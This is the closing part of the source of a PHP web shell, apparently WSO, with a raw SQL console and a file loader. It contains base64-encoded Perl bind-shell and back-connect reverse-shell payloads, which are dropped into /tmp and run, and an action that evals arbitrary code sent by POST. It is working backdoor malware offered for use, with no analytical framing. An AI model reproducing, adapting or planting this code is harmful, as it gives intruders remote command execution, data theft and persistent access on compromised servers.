1208 echo "<select name=sql_base><option value=''></option>";
1209 while ($item = $db->fetch()) {
1210 list($key, $value) = each($item);
1211 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1212 }
1213 echo '</select>';
1214 } else echo $tmp;
1215 } else echo $tmp;
1216 echo "</td>
1217 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1218 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1219 </tr>
1220 </table>
1221 <script>
1222 s_db='" . @addslashes($_POST['sql_base']) . "';
1223 function fs(f) {
1224 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1225 if(f.p1) f.p1.value='';
1226 if(f.p2) f.p2.value='';
1227 if(f.p3) f.p3.value='';
1228 }
1229 }
1230 function st(t,l) {
1231 d.sf.p1.value = 'select';
1232 d.sf.p2.value = t;
1233 if(l && d.sf.p3) d.sf.p3.value = l;
1234 d.sf.submit();
1235 }
1236 function is() {
1237 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1238 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1239 }
1240 </script>";
1241 if (isset($db) && $db->link) {
1242 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1243 if (!empty($_POST['sql_base'])) {
1244 $db->selectdb($_POST['sql_base']);
1245 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1246 $tbls_res = $db->listTables();
1247 while ($item = $db->fetch($tbls_res)) {
1248 list($key, $value) = each($item);
1249 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1250 $value = htmlspecialchars($value);
1251 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1252 }
1253 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1254 if (@$_POST['p1'] == 'select') {
1255 $_POST['p1'] = 'query';
1256 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1257 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1258 $num = $db->fetch();
1259 $pages = ceil($num['n'] / 30);
1260 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1261 echo " of $pages";
1262 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1263 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1264 $_POST['p3']--;
1265 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1266 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1267 echo "<br><br>";
1268 }
1269 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1270 $db->query(@$_POST['p2']);
1271 if ($db->res !== false) {
1272 $title = false;
1273 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1274 $line = 1;
1275 while ($item = $db->fetch()) {
1276 if (!$title) {
1277 echo '<tr>';
1278 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1279 reset($item);
1280 $title = true;
1281 echo '</tr><tr>';
1282 $line = 2;
1283 }
1284 echo '<tr class="l' . $line . '">';
1285 $line = $line == 1 ? 2 : 1;
1286 foreach ($item as $key => $value) {
1287 if ($value == null) echo '<td><i>null</i></td>';
1288 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1289 }
1290 echo '</tr>';
1291 }
1292 echo '</table>';
1293 } else {
1294 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1295 }
1296 }
1297 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1298 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1299 echo "</textarea><br/><input type=submit value='Execute'>";
1300 echo "</td></tr>";
1301 }
1302 echo "</table></form><br/>";
1303 if ($_POST['type'] == 'mysql') {
1304 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1305 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1306 }
1307 if (@$_POST['p1'] == 'loadfile') {
1308 $file = $db->loadFile($_POST['p2']);
1309 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1310 }
1311 } else {
1312 echo htmlspecialchars($db->error());
1313 }
1314 echo '</div>';
1315 wsoFooter();
1316 }
1317 function actionNetwork() {
1318 wsoHeader();
1319 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1320 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1321 echo "<h1>Network tools</h1><div class=content>
1322 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1323 <span>Bind port to /bin/sh [perl]</span><br/>
1324 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1325 </form>
1326 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1327 <span>Back-connect [perl]</span><br/>
1328 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1329 </form><br>";
1330 if (isset($_POST['p1'])) {
1331 function cf($f, $t) {
1332 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1333 if ($w) {
1334 @fwrite($w, base64_decode($t));
1335 @fclose($w);
1336 }
1337 }
1338 if ($_POST['p1'] == 'bpp') {
1339 cf("/tmp/bp.pl", $bind_port_p);
1340 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1341 sleep(1);
1342 echo "<pre class=ml1>$out
1343" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1344 unlink("/tmp/bp.pl");
1345 }
1346 if ($_POST['p1'] == 'bcp') {
1347 cf("/tmp/bc.pl", $back_connect_p);
1348 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1349 sleep(1);
1350 echo "<pre class=ml1>$out
1351" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1352 unlink("/tmp/bc.pl");
1353 }
1354 }
1355 echo '</div>';
1356 wsoFooter();
1357 }
1358 function actionRC() {
1359 if (!@$_POST['p1']) {
1360 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1361 echo serialize($a);
1362 } else {
1363 eval($_POST['p1']);
1364 }
1365 }
1366 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1367 else $_POST['a'] = 'SecInfo';
1368 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1369 exit;